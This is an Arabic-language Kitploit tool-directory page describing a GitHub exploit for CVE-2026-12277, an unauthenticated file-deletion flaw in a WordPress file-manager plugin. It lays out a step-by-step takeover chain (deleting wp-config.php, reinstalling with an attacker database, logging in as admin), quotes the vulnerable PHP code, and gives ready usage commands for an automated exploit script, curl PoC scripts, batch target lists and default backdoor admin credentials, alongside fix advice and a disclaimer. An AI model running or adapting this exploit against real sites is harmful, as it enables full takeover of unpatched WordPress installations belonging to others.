Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-12277 — إضافة Frontend File Manager (WordPress) <= 23.6 - حذف ملفات تعسفي بدون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) | Kitploit
أدوات/GitHubGitHub/moritakaaz/cve-2026-12277
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقتطوير الحمولات
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

إضافة Frontend File Manager (WordPress) <= 23.6 - حذف ملفات تعسفي بدون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-12277

المكوّن الإضافي Frontend File Manager (ووردبريس) <= 23.6 - حذف ملفات تعسفي دون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)

ملخص

الحقلالقيمة
CVECVE-2026-12277
المكوّن الإضافيFrontend File Manager Plugin (nmedia-user-file-uploader)
الإصدار المتأثر<= 23.6
النوعحذف ملفات تعسفي دون مصادقة
CVSS8.7 (عالي)
CWECWE-73 (تحكم خارجي في اسم الملف أو المسار)
الشرط المسبقتفعيل وضع رفع الضيوف
التصحيحلا يوجد (حتى يوليو 2026)
الباحثChamseddine Bouzaiene

السبب الجذري

يخزّن المكوّن الإضافي مسارات الملفات المرفوعة في البيانات الوصفية للتدوينة (wpfm_dir_path). نقطة نهاية AJAX الخاصة بـ wpfm_file_meta_update:

  1. تحتوي على التحقق من nonce مُعلَّق كتعليق (الأسطر 769-771 في files.php)
  2. مسجّلة بصفتها nopriv (يمكن الوصول إليها دون مصادقة)
  3. يمكن تجاوز الدفاع unset($_REQUEST['wpfm_dir_path']) عبر سلوك request_order في PHP (الإرسال عبر سلسلة الاستعلام)

عند استدعاء wpfm_delete_file، يقرأ wpfm_dir_path من البيانات الوصفية للتدوينة ويستدعي unlink() دون أي تحقق من المسار.

نقاط النهاية القابلة للاستغلال

سلسلة الاستغلال

root@kitploit:~
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover

الملفات

الاستخدام

استغلال بايثون (تلقائي بالكامل)

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

بعد الاستغلال - تسجيل الدخول

بعد نجاح الاستغلال، سجّل الدخول إلى حساب مدير ووردبريس:

root@kitploit:~
URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

curl PoC (باش)

root@kitploit:~
bash poc_curl.sh http://target.com

curl PoC (باورشيل)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

الوسائط

كيف يعمل الاستخراج التلقائي للـ nonce

يبحث الاستغلال تلقائيًا عن wpfm_ajax_nonce في:

  1. أسماء المسارات الشائعة للصفحات: /file-manager/، /upload/، /files/، /file-upload/، إلخ.
  2. الملف المباشر: /file-manager.php
  3. جميع الروابط الداخلية الموجودة في الصفحة الرئيسية (الزحف)
  4. واجهة WP REST API (/wp-json/)

يظهر الـ nonce كحقل إدخال مخفي:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

أو في JavaScript موطَّن:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

تقنية تجاوز المسار

ينفّذ الكود unset($_REQUEST['wpfm_dir_path']) لمنع الكتابة المباشرة فوق القيمة. التجاوز:

  1. حقن سلسلة الاستعلام: أرسِل wpfm_dir_path عبر معامل استعلام في عنوان URL بينما تُرسل بقية البيانات عبر نص طلب POST. يسمح سلوك دمج $_REQUEST في PHP باستمرار القيمة اعتمادًا على إعداد request_order.

  2. الإعداد المسبق أثناء تدفق الرفع: تُعيَّن القيمة الوصفية wpfm_dir_path أثناء خطافات رفع الملف الأولية. إذا استُغلت في تلك المرحلة، فلا حاجة لأي تجاوز.

البيئة المختبرة

المكوّنالإصدار
ووردبريس6.9.4
PHP8.2.12
المكوّن الإضافي

مراجع الكود القابل للاستغلال

تعطيل الـ nonce (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

كتابة بيانات وصفية تعسفية (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

تجاوز التفويض (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED

حذف دون تحقق (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // from wpfm_dir_path meta - NO VALIDATION
    if (file_exists($file_path)) {
        unlink($file_path);    // ARBITRARY FILE DELETION
    }
}

تحديد المسار (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NO canonicalization, NO realpath check
}

الإصلاح

  • إلغاء تعليق التحقق من nonce في wpfm_file_meta_update
  • التحقق من wpfm_dir_path مقابل مجلد الرفع باستخدام realpath() وفحص البادئة
  • عدم السماح أبدًا بإدخال يتحكم فيه المستخدم في مسارات حذف الملفات
  • إضافة فحوصات تفويض مناسبة ومستقلة عن إعداد رفع الضيوف

إخلاء مسؤولية

هذه الأداة مقدمّة لأغراض اختبار الأمان المصرح به والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على إذن كتابي قبل إجراء أي اختبار.

تنزيل الأداة
إجراء AJAXيتطلب Nonceيتطلب مصادقةnopriv
wpfm_file_meta_updateلا (مُعلَّق كتعليق)لانعم (دائمًا)
wpfm_delete_fileنعملانعم (دائمًا)
wpfm_upload_fileنعملانعم (إذا كان رفع الضيوف مفعّلًا)
الملفالوصف
exploit.pyاستغلال بايثون كامل (اكتشاف → استغلال → سيطرة كاملة)
poc_curl.shPoC ببش/curl (لينكس)
poc_curl.ps1PoC بـ PowerShell/curl (ويندوز)
lists.txtعناوين URL المستهدفة (واحد في كل سطر، للوضع الدفعي)
requirements.txtتبعيات بايثون
الوسيطمطلوبالوصف
-u, --urlنعمعنوان URL المستهدف لـ WordPress
-p, --pathلاالمسار المطلق لـ wp-config.php على الخادم
--nonceلاnonce الخاص بـ AJAX (تخطي الاستخراج التلقائي)
--dbnameلااسم قاعدة بيانات المهاجم (الافتراضي: wp_pwned)
--dbuserلامستخدم قاعدة بيانات المهاجم (الافتراضي: root)
--dbpassلاكلمة مرور قاعدة بيانات المهاجم
--dbhostلامضيف قاعدة بيانات المهاجم (الافتراضي: localhost)
--proxyلاوكيل HTTP (مثل: http://127.0.0.1:8080)
--timeoutلامهلة الطلب بالثواني (الافتراضي: 15)
--detect-onlyلااكتشاف الثغرة فقط دون استغلالها
Frontend File Manager 23.6
نظام التشغيلWindows (XAMPP) / Linux
النتيجةتم تأكيد السيطرة الكاملة